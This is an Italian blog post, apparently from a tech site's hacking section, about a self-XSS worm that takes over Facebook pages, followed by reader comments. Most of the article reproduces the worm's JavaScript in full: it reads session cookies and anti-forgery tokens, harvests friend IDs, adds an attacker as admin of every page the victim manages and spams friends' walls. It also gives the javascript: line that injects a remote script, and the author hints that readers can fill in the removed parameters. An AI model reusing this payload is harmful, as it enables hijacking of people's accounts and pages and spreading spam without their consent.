Articoli speciali Hacking

Sicurezza di Facebook violata: Come diventare amministratori di qualsiasi pagina

Potrebbe sembrare uno scherzo, ma non lo è. Facebook da un po’ di tempo a questa parte soffre di una grave falla che permette a chiunque di diventare amministratore di qualsiasi pagina. E già si possono immaginare i risultati di tutto ciò. Non mi credete? Continuate a leggere questo articolo e probabilmente tra qualche minuto andrete a controllare bene chi è inserito all’interno degli amministratori della vostra pagina.

Partiamo prima di tutto con calma: la falla che vi sto presentare si attiva nel momento in cui un ignaro utente effettua un click all’interno di un link ben “programmato”, quindi c’è sempre la salvezza per chiunque di usare un po’ il proprio cervello e di evitare di premere link a caso. Detto ciò entriamo nel vivo.
Ho pubblicato qualche ora un articolo dove illustravo la scomparsa dei bottoni “Commenta” e “Mi Piace” su Facebook. Da ciò è nata una piccola discussione all’interno dei commenti tra me e Matteo, il quale ha iniziato a sostenere che esiste uno script per far si che chiunque possa diventare amministratore di qualsiasi pagina. Con mio grande stupore gli ho chiesto quindi maggiori informazioni ed immediatamente lui ha deciso di mandarmi una email con tutto ciò che sapeva (se non è spirito Hacking questo! 🙂 ).

A questo punto non credevo ai miei occhi. Decido quindi di entrare su Facebook con un mio account secondario, creare una pagina e premere sul link che mi ha mandato… Dopo pochi istanti le mie pupille si sono dilatate davanti a ciò che stavo vedendo davanti al monitor del mio computer: un utente a me sconosciuto era diventato amministratore della pagina appena creata e di altre pagine che avevo creato in passato.
Pochi istanti dopo mi sono precipitato all’interno del codice sorgente Js a cui rimandava il link semi-nascosto con bit.ly per analizzarlo con calma. E’ bastata una velocissima analisi per capire che mi sarebbe bastato modificare qualche parametro per essere io stesso l’artefice di questo attacco e per impossessarmi in pochissimi istanti di centinaia di pagine.

[php]//These are to be posted as status messages
txt = "This is me";
txtee = "… ;)";

alert("Please Wait 15 Seconds ! ");
with(x = new XMLHttpRequest()) open("GET", "/"), onreadystatechange = function () {

if (x.readyState == 4 && x.status == 200) {
z=x.responseText;
//comp = z.match(/name="UIComposer_STATE_PIC_OUTSIDE" value="([\d\w]+)"/i)[1];
// comp = x.responseText.match(/name="UIComposer_STATE_PIC_OUTSIDE" id="([\d\w]+)"/i)[1];
form = z.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
dt = z.match(/name="fb_dtsg" value="([\d\w-_]+)"/i)[1];
pfid = z.match(/name="post_form_id" value="([\d\w]+)"/i)[1];

with(xx = new XMLHttpRequest())
open("GET", "/ajax/browser/friends/?uid=" +
document.cookie.match(/c_user=(\d+)/)[1] +
"&filter=all&__a=1&__d=1"),
onreadystatechange = function () {
//extracts list of friends

if (xx.readyState == 4 && xx.status == 200) {
m = xx.responseText.match(/\/\d+_\d+_\d+_q\.jpg/gi).join("\n").replace(/(\/\d+_|_\d+_q\.jpg)/gi, "").split("\n");
//facebook returns list of friends images of the form of three numbers separated by _,
//the above regular expression extracts out the middle of the two
//(which infact is the userID of friend)
i = 0;
llimit=25;
t = setInterval(function () {
if (i >= llimit )
return;//it seems the limit is 25 posts per 2 seconds on facebook (to be counted as bot)
if(i == 0) {//do it only once
with(ddddd = new XMLHttpRequest()) open("GET", "/ajax/pages/dialog/manage_pages.php?__a=1&__d=1"),
setRequestHeader("X-Requested-With", null),
setRequestHeader("X-Requested", null),
onreadystatechange = function() {
if(ddddd.readyState == 4 && ddddd.status == 200) {
llm = (d = ddddd.responseText).match(/\\"id\\":([\d]+)/gi); len =llm.length;
j=0;
for(j=0;j<len;j++) {
with(xxxcxxx = new XMLHttpRequest()) open("POST", "/pages/edit/?id="+llm[j].replace(/\\"id\\":/i, "")+"&sk=admin"),
setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),
send("post_form_id="+pfid+"&fb_dtsg="+dt+"&fbpage_id="+llm[j].replace(/\\"id\\":/i, "")+
"&friendselector_input%5B%5D=LOL%40LOL.it%09&friend_selected%5B%5D=&save=1");
//I am not very sure on this one but it seems it adds as admin of all pages the user holds
}
}
}, send(null); //end of function to change the admins

// this one collects cookie as well as the personalized status update email address
// (a photo sent to that address is posted on the wall directly)

}

//following code does status update
//the code writes message represented by txt and txtee alternately on the wall of friends.
//txt and txtee are same though (may be author’s mistake)
if(i%2==0)
{
with(xd = new XMLHttpRequest()) open("POST", "/ajax/updatestatus.php?__a=1"),
setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),
send("action=PROFILE_UPDATE&profile_id=" + document.cookie.match(/c_user=(\d+)/)[1] + "&status=" + txt +
"&target_id=" + m[Math.floor(Math.random() * m.length)] +
//m is an array of id of friends (was created early in the script exec), choose a random friend
"&composer_id=" +
"&hey_kid_im_a_composer=true&display_context=profile&post_form_id=" +form + "&fb_dtsg=" + dt +
//comp, form, dt are (probably) XSRF prevention tokens
"&lsd&_log_display_context=profile&ajax_log=1&post_form_id_source=AsyncRequest");
}
else
{
with(xd = new XMLHttpRequest()) open("POST", "/ajax/updatestatus.php?__a=1"),
setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),
send("action=PROFILE_UPDATE&profile_id=" + document.cookie.match(/c_user=(\d+)/)[1] + "&status=" + txtee +
"&target_id=" + m[Math.floor(Math.random() * m.length)] + "&composer_id="+
"&hey_kid_im_a_composer=true&display_context=profile&post_form_id=" + form + "&fb_dtsg=" + dt +
"&lsd&_log_display_context=profile&ajax_log=1&post_form_id_source=AsyncRequest");
}
i += 1;
}, 2000);// 2000 milli-sec window, after which the script is executed again
}

}, send(null);
}
}, send(null);
[/php]

Qui sopra vi riporto il codice che ho trovato all’interno di questo Js. Per evitare che qualche lamer-ragazzino ci possa mettere sopra le mani non vi spigherò come funziona e inoltre ho cancellato la zona in cui bisogna inserire i parametri dell’account che vogliamo rendere amministratore. Vi ricordo inoltre che la stringa da inviare ai vari utenti di cui vogliamo impossessarci le pagine è il seguente:

[php] javascript:(a = (b = document).createElement("script")).src = "https://tuolink", b.body.appendChild(a); void(0)
[/php]

Con un po’ di buona volontà chiunque può risolvere questo piccolo problema, insomma… Dopotutto Google serve anche a questo 🙂

Lascia un commento

105 commenti

  • ciao sono sophy0295 e sono nuova: posso farti una domanda? da qualche tempo a questa parte una mia amica mi ha nominato amministratrica insieme a lei di una pagina facebook senza il mio consenso e adesso mi ritrovo a girovagare per il web cercando una soluzione a cancellarmi. come posso NON essere più amministratore della pagina? grazie in anticipo ^^

  • quindi diciamo che è nato il nuovo modo per suggerire le pagine?
    qualcuno puo dirmi come fare?
    ho creato una pagina non a scopo di lucro, putroppo mia madre soffre di una malattia rara.
    vorrei creare una pagina dove mettere tante persone che soffrono della stessa malattia e cmq farla conoscere in ambito scientifico.
    fatemi sapere

  • impossessarsi di una pagina abbandonata da 2 anni è da stronzi??? se per voi non lo è mi potete contattare qui???’avrei bisogno di una mano perchè non so una s**a di programmazione ma vorrei una pagina, che vi assicuro è ABBANDONATA ed è un peccato che finisca così…qualcuno mi contatti qui per favore falcon.f******* grazie a tutti

  • Molte funzioni di facebook sono sfruttabili in questo modo. Gira tutto su JS che è lato client, per cui loro non possono farci più di tanto. Certo è che si deve star attenti a quello che si clicca 🙂

    • Non fare affermazioni se non sei certo della loro validità…

      (Usarlo per rubare pagine, oltre a essere illegale è da lamer, il codice sopra è solo a scopo dimostrativo)

  • Per favore mi potete contattare mi chiamo su Facebook Michele ******** . A me hanno rubato una pagina con questo metodo e ne vorrei capire di + . Grazie in anticipo 😉

  • Tweets that mention Sicurezza di Facebook violata: Come diventare amministratori di qualsiasi pagina - Luca Mercatanti -- Topsy.com ha detto:

    […] This post was mentioned on Twitter by what's up blog, Luca Mercatanti. Luca Mercatanti said: Sicurezza di Facebook violata: Come diventare amministratori di qualsiasi pagina[..] – http://bit.ly/gxY3UC (via @lmercatanti) […]

  • Avresti almeno potuto cancellare il commento che indica dove cambiare i dati 😀
    Cmq è una minaccia, ma non cosi grave. La possibilità di inserirlo dentro un link non mi sembra possibile. Dovresti sfruttare una falla.
    Per funzionare bisogna obbligare la vittima a inserirla nella barra dell’url e premere invio.
    In ogni caso ottimo lavoro 😀

  • Tra l’altro, se guardi, gira proprio come un nuovo modo per mandare suggerimenti in automatico sulle pagine (?!?):

    http://on.fb.me/gxV1j6

    Lo script è esattamente quello. Comunque non so se sia veramnte definibile come un bug. Alla fine è JS, immagino in qualche modo richiami le funzioni che dal CP normale di facebook ti permettono di rendere chi vuoi admin delle tue pagine.

  • Uhm.. fatto male secondo me, hai detto anche troppo… c’erano molti lamer che non riuscivano neanche ad avere lo script nonostante gli avessero fregato le pagine… ora inizierà a girare ancora di più…

    fossi in te censurerei parti del codice °-°”

Prima di continuare, guarda qui!

Hai trovato quello che stavi cercando?
Rimaniamo in contatto, potresti imparare molte cose!

Grazie!

Sono sicuro che insieme potremmo fare molte cose!

FERMO! Prima di uscire, guarda qui!

Hai trovato quello che stavi cercando?
Rimaniamo in contatto, potresti imparare molte cose!

Grazie!

Sono sicuro che insieme potremmo fare molte cose!